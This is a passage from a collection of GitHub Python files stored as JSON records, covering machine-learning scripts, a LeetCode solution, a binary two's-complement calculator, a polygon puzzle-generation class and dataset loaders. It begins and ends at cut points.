test_dataset:\n alt = np.expand_dims(data, axis = 0)\n print(np.shape(alt))\n pred = model.predict(alt)\n val_results.append(pred)\nval_data = vallabels\nloss = history.history[\"loss\"]\nvalloss = history.history[\"val_loss\"]\nnp.savez(\"cnnmetricsres.npz\", validation_results = val_results, validation_data = val_data, loss = loss, valloss = valloss)\n","repo_name":"samw187/spectra","sub_path":"Older_Models/CNN_trials_with_ResNet.py","file_name":"CNN_trials_with_ResNet.py","file_ext":"py","file_size_in_byte":15278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"40525379698","text":"# class Solution:\n# def permuteUnique(self, nums: List[int]) -> List[List[int]]:\n# if not nums: return []\n# ret = set()\n# l = len(nums)\n# def dfs(curr, rest):\n# if l == len(curr):\n# ret.add(tuple(curr))\n# return\n# for i in range(len(rest)):\n# dfs(curr + [rest[i]], rest[:i] + rest[i+1:])\n# # main\n# dfs([], nums)\n# return list(ret)\n\nclass Solution:\n def permuteUnique(self, nums: List[int]) -> List[List[int]]:\n ret = [[]]\n for n in nums:\n new_ans = []\n for it in ret:\n for i in range(len(it)+1):\n new_ans.append(it[:i] + [n] + it[i:])\n if i < len(it) and n == it[i]: break # 这个判断写起来特别特别考验逻辑思维能力\n ret = new_ans\n return ret","repo_name":"Bieneath/LeetCode_training","sub_path":"Week_03/47.py","file_name":"47.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"6008709339","text":"\"\"\"\nFormatter color tag constants.\n\nThese are ANSI strings that paints some terminal text.\n\"\"\"\n\n# Color tags.\nBLACK = '\\033[90m'\nBLUE = '\\033[94m'\nCYAN = '\\033[96m'\nGREEN = '\\033[92m'\nMAGENTA = '\\033[95m'\nRED = '\\033[91m'\nWHITE = '\\033[97m'\nYELLOW = '\\033[93m'\n","repo_name":"marlondecol/python-formatter","sub_path":"modules/colors.py","file_name":"colors.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"17020495944","text":"#!/usr/bin/env python3\n\"\"\" test for optimal number of clusters \"\"\"\nimport numpy as np\nkmeans = __import__('1-kmeans').kmeans\nvariance = __import__('2-variance').variance\n\n\ndef optimum_k(X, kmin=1, kmax=None, iterations=1000):\n \"\"\"\n tests for optimum number of lcusters by varaince\n X: data set. np.ndarray (n, d)\n n: number of data poitns\n \"\"\"\n if type(X) is not np.ndarray or len(X.shape) != 2:\n return None, None\n if not isinstance(kmin, int) or kmin < 1:\n return None, None\n if kmax is None:\n kmax = X.shape[0]\n if type(kmax) is not int or kmax < 1 or kmax < kmin + 1:\n return None, None\n if type(iterations) is not int or iterations < 1:\n return None, None\n\n # n, d = X.shape\n results = []\n d_vars = []\n\n for k in range(kmin, kmax + 1):\n C, clss = kmeans(X, k, iterations)\n results.append((C, clss))\n vari = variance(X, C)\n if k == kmin:\n small_var = vari\n d_vars.append(small_var - vari)\n return results, d_vars\n","repo_name":"mag389/holbertonschool-machine_learning","sub_path":"unsupervised_learning/0x01-clustering/3-optimum.py","file_name":"3-optimum.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"25003934356","text":"import numpy as np\nfrom matplotlib import pyplot as plt\n\nimport argparse\nimport os\n\nfrom sklearn.manifold import TSNE\n\n\nparser = argparse.ArgumentParser(description='Plot Test')\nparser.add_argument('--folder', type=str,\n help=\"folder containing means and stds\")\nparser.add_argument('--num-rooms', type=int,\n help=\"number of rooms in picolmaze\")\n# plt.set_cmap(plt.rcParamsDefault[\"image.cmap\"])\n\nif __name__ == '__main__':\n args = parser.parse_args()\n\n means = np.loadtxt(open(\n os.path.join(args.folder, 'inv_head_means.csv'), 'rb'), delimiter=',')\n stds = np.loadtxt(open(\n os.path.join(args.folder, 'inv_head_stds.csv'), 'rb'), delimiter=',')\n stds = np.nan_to_num(stds)\n phis = np.loadtxt(open(\n os.path.join(args.folder, 'inv_head_phis.csv'), 'rb'), delimiter=',')\n\n side = int(args.num_rooms**(1 / 2))\n\n # vmin_mean = np.min(means)\n # vmax_mean = np.max(means)\n vmin_mean = -2\n vmax_mean = 6\n\n # vmin_std = np.min(stds)\n # vmax_std = np.max(stds)\n vmin_std = 0\n vmax_std = 3\n\n cmap = 'viridis'\n\n\n fig, axs = plt.subplots(side, side)\n\n for i in range(args.num_rooms):\n ax = axs[i % side, i // side]\n img = ax.imshow(means[i].reshape(16, 18), vmin=vmin_mean, vmax=vmax_mean)\n img.set_cmap(cmap)\n fig.colorbar(img, ax=ax)\n ax.set_axis_off()\n\n plt.savefig(os.path.join(args.folder, 'inv_head_means.pdf'), dpi=300)\n plt.close()\n\n\n fig, axs = plt.subplots(side, side)\n\n for i in range(args.num_rooms):\n ax = axs[i % side, i // side]\n img = ax.imshow(np.sort(means[i]).reshape(16, 18), vmin=vmin_mean, vmax=vmax_mean)\n img.set_cmap(cmap)\n fig.colorbar(img, ax=ax)\n ax.set_axis_off()\n\n plt.savefig(os.path.join(args.folder, 'inv_head_means_sorted.pdf'), dpi=300)\n plt.close()\n\n\n fig, axs = plt.subplots(side, side)\n\n for i in range(args.num_rooms):\n ax = axs[i % side, i // side]\n img = ax.imshow(stds[i].reshape(16, 18), vmin=vmin_std, vmax=vmax_std)\n img.set_cmap(cmap)\n fig.colorbar(img, ax=ax)\n ax.set_axis_off()\n\n plt.savefig(os.path.join(args.folder, 'inv_head_stds.pdf'), dpi=300)\n plt.close()\n\n\n fig, axs = plt.subplots(side, side)\n\n for i in range(args.num_rooms):\n ax = axs[i % side, i // side]\n img = ax.imshow(np.sort(stds[i]).reshape(16, 18), vmin=vmin_std, vmax=vmax_std)\n img.set_cmap(cmap)\n fig.colorbar(img, ax=ax)\n ax.set_axis_off()\n\n plt.savefig(os.path.join(args.folder, 'inv_head_stds_sorted.pdf'), dpi=300)\n plt.close()\n\n\n phis_tsne = TSNE(n_components=2, n_iter=2000, learning_rate=200).fit_transform(phis[:, 1:])\n\n with plt.style.context('default'):\n img = plt.scatter(phis_tsne[:, 0], phis_tsne[:, 1], c=phis[:, 0], cmap='jet')\n plt.axis('off')\n plt.colorbar(img, ticks=range(args.num_rooms))\n\n plt.savefig(os.path.join(args.folder, 'inv_head_phis_tsne.pdf'), dpi=300)\n plt.close()\n","repo_name":"utanashati/curiosity-recast","sub_path":"plot_ideal_predictor.py","file_name":"plot_ideal_predictor.py","file_ext":"py","file_size_in_byte":3030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"34625461793","text":"import numpy as np\nfrom keras.layers.embeddings import Embedding\nimport os\nfrom keras.models import Sequential\nimport tensorflow as tf\n\n\n# 将原本的1/0 变成embedding编码\ndef embedding_category():\n model = Sequential()\n model.add(Embedding(2,256,input_length=93))\n half_year_features = np.load(\"pick_4_features_two_year.npy\")\n time = half_year_features[:,:,0].reshape(-1,half_year_features.shape[1],1)\n features = half_year_features[:,:,1:].reshape(-1, half_year_features.shape[2]-1)\n model.compile(\"rmsprop\",'mse')\n output_array = model.predict(features).reshape(-1,half_year_features.shape[1],93,256)\n np.save(\"4_two_year_embedding_features.npy\",output_array)\n np.save(\"4_two_year_time.npy\",time)\n print(output_array)\n print(time.shape)\n\n\nif __name__ == \"__main__\":\n embedding_category()\n","repo_name":"ZJU-BMI/survival-analysis","sub_path":"Embedding.py","file_name":"Embedding.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"91"}
+{"seq_id":"12747350245","text":"import fitz\r\nimport pandas as pd\r\nimport os\r\n\r\ndef get_all_info(title,text):\r\n path=os.getcwd()\r\n path=path+'\\Dataset'\r\n for folder in os.listdir(path):\r\n for file in os.listdir(path+'\\\\'+folder):\r\n title.append(folder)\r\n text.append(file)\r\n\r\n return title,text\r\n\r\ndef get_topics():\r\n return os.listdir('Dataset')\r\n\r\ndef get_Data_and_Label(df):\r\n title=[]\r\n text=[]\r\n title,text=get_all_info(title,text)\r\n df['Text']=pd.DataFrame(text)\r\n df['Title']=pd.DataFrame(title) \r\n return df,title\r\n\r\ndef get_Text_from_pdf(info):\r\n path=os.getcwd()\r\n path=path+'\\Dataset'\r\n path=path+'\\\\'+info['Title']\r\n file=info['Text']\r\n doc=fitz.open(path+'\\\\'+file)\r\n page=doc[0]\r\n content=page.get_text()\r\n return content\r\n\r\ndef pre_process_Data_and_Label(df,title):\r\n\r\n #Iterating over each index and getting content of each file.\r\n for i in range(df.shape[0]):\r\n df.at[i,'Text']=get_Text_from_pdf(df.iloc[i])\r\n title=get_topics()\r\n for i in range(len(title)):\r\n df.loc[df['Title']==title[i],'Title']=i\r\n return df\r\n\r\n\r\ndef Generator():\r\n df=pd.DataFrame(columns=['Text','Title'])\r\n df,title=get_Data_and_Label(df) # Here we got dataframe with folder name and file name\r\n df=pre_process_Data_and_Label(df,title) #Getting file names\r\n df.to_csv('Dataset_final.csv')\r\n\r\n\r\nif __name__=='__main__':\r\n Generator()\r\n print('Dataset Generated Successfully')","repo_name":"Siddhant128-bit/Classify_PDF_Multinominal_Naive_Bayes","sub_path":"Dataset_Generator.py","file_name":"Dataset_Generator.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"91"}
+{"seq_id":"12447086981","text":"#-------------------------------------------#\n\n# Universidad del Valle de Guatemala\n# Departamento de Computación\n# Organizador de Computadoras y Assembler\n\n# Javier Alejandro Ramírez Heredia-21600 \n# Mario Andres Cristales Cardona-21631\n# 24/01/2022\n \n# Ejercicio 5\n\n#-------------------------------------------#\nfrom pickle import TRUE\n\n\ndef main():\n\n estado = True\n\n\n while estado:\n menu()\n opcion = int(input(\"¡Bienvenido!, Que opcion del menu quieres elegir: \"))\n \n if opcion == 1:\n calculadoraCA2()\n input()\n elif opcion== 2:\n\n Respuesta = input('¿Desea salir del Programa: ')\n if Respuesta == \"si\":\n print (\"FeliZ Dia =)\")\n \n estado = False \n \n else:\n main()\n\n else:\n\n print('Ingrese una opcion correcta del menu')\n\n print(main())\n \ndef menu():\n\n print('''\n ------------------------------------------------------\n - ___ _ _ -\n - | _ ) (_) _ _ __ _ _ _ (_) ___ ___ -\n - | _ \\ | | | ' \\ / _` | | '_| | | / _ \\ (_-< -\n - |___/ |_| |_||_| \\__,_| |_| |_| \\___/ /__/ -\n ------------------------------------------------------\n ------------------------------------------------------\n - (1) Ingresar un Numero Binario -\n - (2) Salir -\n ------------------------------------------------------ \n ''')\n\n\n \ndef Com_A_2(lista):\n print(\"------------------------------------------------------\")\n print(\"lista ingresada: \")\n print(\"\".join(lista))\n\n for i in range(len(lista)):\n\n num = int(lista[i])\n if num == 1 :\n lista[i] = '0'\n elif num == 0:\n lista[i] = '1'\n \n newLista=\"\".join(lista)\n \n a = newLista\n b = \"1\"\n max_len = max(len(a), len(b))\n a = a.zfill(max_len)\n b = b.zfill(max_len)\n\n resultado = ''\n\n carry = 0\n\n for i in range(max_len - 1, -1, -1):\n r = carry\n r += 1 if a[i] == '1' else 0\n r += 1 if b[i] == '1' else 0\n resultado = ('1' if r % 2 == 1 else '0') + resultado\n\n carry = 0 if r < 2 else 1\n\n if carry != 0:\n resultado = '1' + resultado\n \n print(\"------------------------------------------------------\")\n print(\"el complemento a 2 del número ingresado es: \")\n\n print(resultado.zfill(max_len))\n \ndef bin_a_dec(binario):\n pos = 0\n decimal = 0\n binario = binario[::-1]\n for digito in binario:\n multiplicar = 2**pos\n decimal += int(digito) * multiplicar\n pos += 1\n return decimal\n\n\nEstado = True\n\ndef calculadoraCA2():\n contador = 0\n numBin = input(\"Ingrese un numero binario de 8 bits:\")\n listB = list(numBin)\n if int(len(listB) == 8):\n try :\n for i in range(len(listB)):\n\n num = int(listB[i])\n if num == 1 or num == 0 :\n print(\"correcto\")\n\n elif num != 1 or num != 0:\n print(\"el dígito: \",num,\n \" no es 1 o 0, ingrese el dato de nuevo\")\n contador = contador +1\n\n if contador == 0 :\n Estado = False\n except Exception as e :\n print(\"error en el ciclo for\", e)\n else:\n print(\"los bits ingresados no coinciden con la cantidad requerida (7)\")\n\n print(\"------------------------------------------------------\")\n print(\"el numero ingresado en decimales es:\",bin_a_dec(numBin))\n print( Com_A_2(listB))\n \n\n\nif __name__ == '__main__':\n main()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n \n","repo_name":"XJ4v1erX/Assembler","sub_path":"Ejercicio5.py","file_name":"Ejercicio5.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"26743334083","text":"# from turtle import color, right\n# from numpy import poly\nfrom xml.dom import ValidationErr\nfrom matplotlib.style import available\nimport pandas as pd\nfrom src.data_structures.graph import Edge\nfrom src.data_structures import Point,scatter_points,poly_as_matplotlib,plot_polygons\nfrom src.data_structures.shapes import Polygon #,MultiPoint\nfrom shapely.geometry import LineString\n# from src.data_structures.graph import Graph,Edge\nimport matplotlib.pyplot as plt\n\nfrom src.puzzle_creators import rgon_1988_wrap as Rgon1988\nfrom src.consts import PLOT_COLORS\n# from src.algorithms.sweep_line.sweep_line import SweepLine\nimport logging\nfrom src import setup_logger\nfrom functools import reduce\n\nfrom src.data_structures.shapes import Polygon\nfrom src.puzzle_creators import Direction\n\nfrom math import pi,atan2\nimport numpy as np\n\n\n\nclass PuzzleCreator():\n\n def __init__(self,is_debug=False):\n self.interior_points = []\n self.frame_anchor_points = [] #frame anchor points\n self.frame_points = []\n self.pieces = [] #MultiPolygon\n # self.is_angles_convex = {}\n self.pieces_area = 0\n self.frame_polygon = None\n self.last_possible_rgons ={}\n self.n_iter = 0\n self.is_debug = is_debug\n self.fig, self.ax = plt.subplots()\n log_handler = setup_logger.get_file_handler(setup_logger.get_debug_log_file())\n self.logger = logging.getLogger(\"logger.puzzle_creator\")\n self.logger.addHandler(log_handler)\n self.debug_dir = setup_logger.get_debug_lastrun_dir()\n \n \n # def load_sampled_points(self,file_path):\n # role_points = {\n # \"interior\": self.interior_points,\n # \"frame_anchor\":self.frame_anchor_points,\n # \"frame\":self.frame_points\n # }\n # df = pd.read_csv(file_path,index_col=False)\n\n # for row in df.to_numpy():\n \n # if row[0] < 0 or row[1] < 0:\n # raise ValueError(f\"All points coordinates must not be negative. Recieved as input ({row[0]},{row[1]})\")\n\n # point = Point(row[0],row[1])\n # role_points[row[2]].append(point)\n\n # self.frame_polygon = Polygon(self.frame_points)\n \n # # maybe this should not be here\n # self.scan_direction = Direction.left\n # self._set_direction_scan(self.scan_direction.value)\n\n # for point in self.interior_points:\n # self.is_angles_convex[str(point)] = False\n \n # def plot_puzzle(self,fig,ax,pieces=None,**kwargs):\n # if pieces is None:\n # pieces = self.pieces\n # scatter_points(ax,self.interior_points,color=\"blue\")\n # scatter_points(ax,self.frame_anchor_points,color=\"red\") \n # frame_mat_polygon = poly_as_matplotlib(self.frame_polygon,edgecolor=\"black\",facecolor='white',lw=2)\n # puzzle_mat_polygons = [poly_as_matplotlib(piece,color=PLOT_COLORS[i%len(PLOT_COLORS)],**kwargs) for i,piece in enumerate(pieces)]\n # puzzle_mat_polygons.insert(0, frame_mat_polygon)\n # plot_polygons(ax,puzzle_mat_polygons)\n # for i,mat_poly in enumerate(pieces):\n # ax.text(mat_poly.centroid.x,mat_poly.centroid.y,str(i+1),style='italic',\n # bbox={'facecolor': 'red', 'alpha': 0.5, 'pad': 10})\n\n def _get_points_ahead(self,kernel_point,direction=1):\n self.logger.info(\"Start _get_points_ahead function. Filter point in space to get reachable points\")\n self.logger.debug(\"Filter point that are not ahead the scanning direction\")\n # on default - ahead to the left\n filter_condition = lambda item: item.x>=kernel_point.x and item!=kernel_point \n space = self.space_points.copy() #list(self.interior_points+self.frame_anchor_points)\n space.remove(kernel_point)\n\n # if requested ahead to right\n if direction == -1:\n filter_condition = lambda item: item.x<=kernel_point.x and item!=kernel_point \n space.reverse()\n\n space = list(filter(filter_condition,space)) \n space_str = reduce(lambda acc,x: acc + x + \";\" ,[\"\",\"\"] + list(map(lambda x: str(x),space)))\n self.logger.debug(f\"Points ahead are {str(space_str)}\")\n return space\n\n # def _get_accessible_points(self,kernel_point,space,direction=1):\n # self.logger.info(\"Start _get_accessible_points method\")\n # # fig,ax = plt.subplots()\n # # ax.title.set_text(f\"Debug accesible point\")\n # # self.plot_puzzle(fig,ax)\n # visible_points = []\n # ker_to_p_lines = [LineString([kernel_point,point])for point in space]\n\n # for point,curr_ker_to_p_line in zip(space,ker_to_p_lines):\n\n # # If the kernel, current point and other point forms a line, \n # # the far distant point is not visible\n # if any(curr_ker_to_p_line.contains(line) and not line.equals(curr_ker_to_p_line)\\\n # for line in ker_to_p_lines):\n # continue\n \n # # if other piece is blocking view to point\n # if any((curr_ker_to_p_line.crosses(piece) and not curr_ker_to_p_line.touches(piece) or curr_ker_to_p_line.within(piece))\\\n # for piece in self.pieces):\n # continue\n \n # # If it does visible\n # visible_points.append(point)\n # x, y = curr_ker_to_p_line.xy\n # # ax.plot(x, y,color=\"black\")\n\n # # fig.savefig(debug_dir + f\"/Last debug accesible point.png\")\n # # plt.close()\n\n # visible_points_str = reduce(lambda acc,x: acc + x + \";\" ,[\"\",\"\"] + list(map(lambda x: str(x),visible_points)))\n # self.logger.debug(f\"{str(len(visible_points))} points are visible: {str(visible_points_str)}\")\n # return visible_points\n\n def _set_direction_scan(self,direction):\n self.interior_points = sorted(self.interior_points,key=lambda p: p.x,reverse=direction<0)\n self.frame_anchor_points = sorted(self.frame_anchor_points,key=lambda p: p.x,reverse=direction<0)\n self.space_points = sorted(self.interior_points + self.frame_anchor_points,key=lambda p: p.x,reverse=direction<0)\n \n \n def create(self):\n self.logger.info(\"Starts create function\")\n self.n_iter = 0\n self.num_iter_no_new_piece = 0\n\n\n while True:\n # Rgon1988.direction = self.scan_direction\n self.logger.info(f\"Start to scan board to from {str(self.scan_direction.name)}\")\n for kernel_point in self.space_points:\n self.last_kernel_point = kernel_point # for the power group creator\n self.n_iter +=1\n\n try:\n possible_rgons = self.prepare_to_create(kernel_point)\n\n if possible_rgons is not None:\n polygon = self._create_rgon(possible_rgons) \n else:\n polygon = None\n \n self.after_rgon_creation(polygon)\n \n except Exception as err:\n self.logger.exception(err)\n raise err \n \n \n if self._is_finished_scan():\n return\n\n self.scan_direction = Direction(self.scan_direction.value * (-1))\n # Rgon1988.direction = self.scan_direction\n self._set_direction_scan(self.scan_direction.value)\n # plt.close(\"all\")\n\n if self.scan_direction.name == \"left\":\n msg =f\"Attempt to scan the board from left to right again.\"\n self.logger.error(msg)\n raise StopIteration(msg)\n # self.logger.info(\"Finish to assemble a puzzle\")\n \n \n\n def plot_results(self,fig_path):\n # fig,ax = plt.subplots()\n fig,ax = self.fig,self.ax\n ax.cla()\n self.plot_puzzle(fig,ax)\n fig.savefig(fig_path)\n # plt.close(fig) \n\n # def _count_piece(self,polygon):\n # self.pieces.append(polygon)\n # self.pieces_area += polygon.area\n \n def prepare_to_create(self,kernel_point):\n raise NotImplementedError(\"need to be implemented\")\n\n def after_rgon_creation(self,polygon):\n if isinstance(polygon,Polygon):\n self.logger.debug(f\"Next Polygon to create is : {str(polygon)}\")\n self.check_sanity_polygon(polygon)\n self._count_piece(polygon)\n\n # def _is_edges_angles_convex(self,center_point):\n # # self.logger.debug(f\"Find out wheter the angles between edges of point {str(center_point)} are all less than 180\")\n # '''Get pieces containing center point'''\n # center_point_coords = list(center_point.coords)[0]\n # pieces_contain_point = [list(piece.exterior.coords) for piece in self.pieces \\\n # if center_point_coords in list(piece.exterior.coords)]\n\n # '''Get neighbor points - sharing an edge with center_point'''\n # neighbors = set()\n # for piece_coords in pieces_contain_point:\n # index = piece_coords.index(center_point_coords)\n # left_neighbor_index = index-1\n # right_neighbot_index = index+1\n # # if it is the origin of the piece it will apear twice in the coordinates\n # # The polygon has at least 3 different verticies\n # if index == 0: #or index==len(piece_coords) - 1:\n # left_neighbor_index = -2\n # right_neighbot_index = 1\n \n # neighbors.add(Point(piece_coords[left_neighbor_index]))\n # neighbors.add(Point(piece_coords[right_neighbot_index]))\n\n # if len(neighbors) < 2:\n # return False\n\n # def calc_angle(neigh_point):\n # delta_y = neigh_point.y - center_point.y\n # delta_x = neigh_point.x - center_point.x\n # res = atan2(delta_y,delta_x)\n # if res < 0:\n # res+=2*pi\n # return np.degrees(res)\n \n\n # neighbors = list(neighbors)\n # angles = list(map(calc_angle,neighbors))\n # angles.sort()\n # neighbors_sorted = [point for _,point in sorted(zip(angles,neighbors))]\n # prev_angle = calc_angle(neighbors_sorted[0])\n # prev_point = neighbors_sorted[0]\n\n # for angle,point in zip(angles[1:] + [angles[0]+360],neighbors_sorted[1:] + [neighbors_sorted[0]]):\n # diff = angle - prev_angle\n # if diff > 180:\n # self.logger.debug(f\"Around the center point {str(center_point)} \\\n # the points {str(prev_point)} and {str(point)} angle is {angle}-{prev_point}={diff}>180\")\n # return False\n # prev_angle = angle\n # prev_point = point\n \n # return True\n\n # def check_sanity_polygon(self,curr_piece:Polygon):\n # if not curr_piece.is_simple:\n # ValidationErr(f\"Polygon must be simple. coords: {str(curr_piece)}\")\n \n # coords = curr_piece.exterior.coords\n\n # if len(coords) < 4:\n # raise ValidationErr(f\"Polygon minimun amount of vertecies is 3. coords: {str(curr_piece)}\")\n\n # if coords[0] != coords[-1]:\n # raise ValidationErr(f\"Polygon must end and open with the same vertex. coords: {str(curr_piece)}\")\n\n # if not all(coords[1:-1].count(c)==1 for c in coords[1:-1]):\n # raise ValidationErr(f\"Polygon coords cannot have duplicates. coords: {str(curr_piece)}\")\n\n # for piece in self.pieces:\n # if not(curr_piece.disjoint(piece) or curr_piece.touches(piece)):\n # raise ValidationErr(f\"piece {str(piece)} intersects with new piece {str(curr_piece)}\")\n # if curr_piece.equals(piece):\n # raise ValidationErr(f\"Tried to create equal piece to exist one. piece: {str(curr_piece)}.\")\n\n\n # for inter_point in self.interior_points:\n # if inter_point.within(curr_piece):\n # raise ValidationErr(f\"Piece {str(piece)} created contains interior point {str(inter_point)}\")\n\n # def _is_finished_scan(self):\n # self.logger.info(\"Check whether to stop board scanning or not\")\n # self.logger.debug(\"Check the sum of the pieces area against the whole framework\")\n # if self.pieces_area < self.frame_polygon.area:\n # self.logger.debug(f\"The sum of the pieces is less than the whole framework: {self.pieces_area}<{self.frame_polygon.area}\")\n # return False\n \n # self.logger.debug(\"Checking if all the interior points angles between their edges are less than 180\")\n # for point in self.interior_points:\n # if not self._is_edges_angles_convex(point): #self.is_angles_convex[str(point)]:\n # raise ValidationErr(\"The angle of the polygon are not convex even though the whole puzzle framework is covered\")\n \n \n # return True\n\n def _find_rgons_comb(self,kernel_point,continuity_edges):\n rgons = []\n\n for edge_str in list(continuity_edges.keys()):\n traverses = [list(dict.fromkeys(tr)) for tr in self._get_traverse(Edge(edge_str),continuity_edges)]\n # find all sequential sub combinations:\n for trav in traverses:\n for index_start in range(len(trav)):\n for index_end in range(index_start+1,len(trav)):\n sub_trav = trav[index_start:index_end+1]\n sub_trav.insert(0,str(kernel_point))\n poly = Polygon([Point(eval(point_str)) for point_str in sub_trav])\n\n try:\n self.check_sanity_polygon(poly)\n rgons.append(poly)\n except ValidationErr as err:\n pass\n \n # Remove duplicates\n final_rgons = []\n for rgon in rgons:\n if all(not rgon.equals(poly) for poly in final_rgons):\n final_rgons.append(rgon)\n \n # sorting by the most left point of the polygon without kernel (ease on debug)\n def left_most_point_x(poly):\n xs,ys = poly.exterior.coords.xy\n return min(xs[1:-1])\n\n final_rgons.sort(key = left_most_point_x )\n\n return final_rgons\n\n def _get_traverse(self,origin_edge,continuity_edges):\n if len(continuity_edges[str(origin_edge)]) == 0:\n return [[str(origin_edge.src_point),str(origin_edge.dst_point)]]\n\n travs = []\n available_edges = continuity_edges[str(origin_edge)]\n for next_edge in available_edges:\n cont_travs = self._get_traverse(next_edge,continuity_edges)\n\n if isinstance(cont_travs[0],list):\n flat_travs = [item for sublist in cont_travs for item in sublist]\n flat_travs.insert(0,str(origin_edge.dst_point))\n flat_travs.insert(0,str(origin_edge.src_point))\n\n travs.append(flat_travs)\n \n return travs\n\n def _create_rgon(self,possible_rgons):\n raise NotImplementedError(\"need to be implemented\")\n \n # def write_results(self,output_path):\n # xs = []\n # ys = []\n # piece_id = []\n # for index in range(len(self.pieces)):\n # for coord in self.pieces[index].exterior.coords:\n # xs.append(coord[0])\n # ys.append(coord[1])\n # piece_id.append(index)\n \n # df = pd.DataFrame({\"x\":xs,\"y\":ys,\"id\":piece_id})\n # df.to_csv(output_path)\n\n # def _get_surface(self,kernel_point,scan_direction,n_iter=-1,fig_prefix=\"\"):\n # # observe surface data\n # points_to_connect = self._get_points_ahead(kernel_point,direction=self.scan_direction.value) \n # points_to_connect = self._get_accessible_points(kernel_point,points_to_connect,direction=self.scan_direction.value) \n\n # if len(points_to_connect) < 2:\n # self.logger.debug(f\"Not enough points to connect ({len(points_to_connect)} < 2)\")\n # # self.is_angles_convex[str(kernel_point)] = self._is_edges_angles_convex(kernel_point)\n # # return {}\n # raise ValueError(f\"Not enough points to connect ({len(points_to_connect)} < 2)\")\n \n # stared_polygon = Rgon1988.get_stared_shape_polygon(kernel_point,points_to_connect,self.scan_direction)\n # visual_graph_polygon = Rgon1988.get_visualization_graph(kernel_point,stared_polygon,self.scan_direction)\n \n\n # # if self.is_debug:\n # # # fig,ax = plt.subplots()\n # # fig,ax = self.fig,self.ax\n # # ax.cla()\n # # self.plot_puzzle(fig,ax)\n # # [Edge(kernel_point,p).plot(ax,color='black', linestyle='dotted') for p in list(visual_graph_polygon.get_verticies())]\n # # visual_graph_polygon.plot_directed(ax) # way to plot the graph\n # # fig.savefig(self.debug_dir + f\"/visibility-graph-before-filter/{fig_prefix}{str(self.n_iter)}.png\")\n # # # plt.close(fig)\n\n # # Remove edges that are covered by polygons - do it more elegant less naive\n # self.logger.info(\"Filter edges covered by exist pieces\")\n # vs_grph_edges = list(visual_graph_polygon.get_edges()).copy()\n # lines = [LineString([edge.src_point,edge.dst_point]) for edge in vs_grph_edges]\n\n # for edge,line in zip(vs_grph_edges,lines):\n # for piece in self.pieces:\n \n # if line.crosses(piece) and not line.touches(piece):\n # self.logger.debug(f\"Edge {str(edge)} is crossed by piece {str(piece)} ,so remove it from visibility graph\")\n # visual_graph_polygon.remove_edge(edge)\n # break\n\n # if line.within(piece):\n # self.logger.debug(f\"Edge {str(edge)} is within piece {str(piece)} ,so remove it from visibility graph\")\n # visual_graph_polygon.remove_edge(edge)\n # break\n \n # if self.is_debug:\n # # fig,ax = plt.subplots()\n # fig,ax = self.fig,self.ax\n # ax.cla()\n # self.plot_puzzle(fig,ax)\n # [Edge(kernel_point,p).plot(ax,color='black', linestyle='dotted') for p in list(visual_graph_polygon.get_verticies())]\n # visual_graph_polygon.plot_directed(ax) # way to plot the graph\n # fig.savefig(self.debug_dir + f\"/visibility-graph-filtered/{fig_prefix}{str(self.n_iter)}.png\")\n # # plt.close(fig)\n\n # if len(list(visual_graph_polygon.get_edges())) == 0:\n # self.logger.debug(f\"Not enough edge to iterate on the visibility graph\")\n # # self.is_angles_convex[str(kernel_point)] = self._is_edges_angles_convex(kernel_point)\n # # return {}\n # raise ValueError(\"Not enough edge to iterate on the visibility graph\")\n\n # return Rgon1988.get_convex_chain_connectivity(visual_graph_polygon,self.scan_direction)\n\n def _find_first_possible_rgons(self,kernel_point,n_iter=-1):\n try:\n continuity_edges = self._get_surface(kernel_point,self.scan_direction,n_iter)\n except ValueError as err:\n raise err\n\n # num_edges = self._get_next_polygon_num_verticies(continuity_edges,edges_max_chain_length)\n possible_rgons = self._find_rgons_comb(kernel_point,continuity_edges)\n possible_rgons = list(filter(lambda pc:all(pc.disjoint(pc2) or pc.touches(pc2) for pc2 in self.pieces),possible_rgons))\n return possible_rgons\n\n def _filter_poss_rgons(self,last_possible_rgons):\n return list(filter(lambda pc:all(pc.disjoint(pc2) or pc.touches(pc2) for pc2 in self.pieces),last_possible_rgons))#","repo_name":"yanivohayon8/creatingRgons","sub_path":"src/puzzle_creators/skeleton.py","file_name":"skeleton.py","file_ext":"py","file_size_in_byte":19869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"531667587","text":"import os\nimport pandas as pd\nfrom glob import glob\n\n# A dictionary of the abbreviations to the lesion type for reference\nlesion_type_dict = {\n 'nv': 'Melanocytic nevi',\n 'mel': 'Melanoma',\n 'bkl': 'Benign keratosis-like lesions ',\n 'bcc': 'Basal cell carcinoma',\n 'akiec': 'Actinic keratoses',\n 'vasc': 'Vascular lesions',\n 'df': 'Dermatofibroma'\n}\nclasses = sorted(lesion_type_dict.keys())\n\ndef get_df_train(train_path):\n image_paths = glob(os.path.join(train_path, '*/*.jpg'))\n image_dict = {os.path.splitext(os.path.basename(x))[0]: x for x in image_paths}\n df_train = pd.read_csv(os.path.join(train_path,'HAM10000_metadata.csv'))\n df_train['path'] = df_train['image_id'].map(image_dict.get)\n df_train['class'] = df_train['dx'].apply(lambda x: classes.index(x))\n # Not using patient metadata\n df_train = df_train.drop(['dx_type', 'age', 'sex', 'localization'], axis=1)\n return df_train\n\ndef get_df_test(test_path):\n df_test = pd.read_csv(os.path.join(test_path, 'ISIC2018_Task3_Test_GroundTruth/ISIC2018_Task3_Test_GroundTruth/ISIC2018_Task3_Test_GroundTruth.csv'))\n df_test = 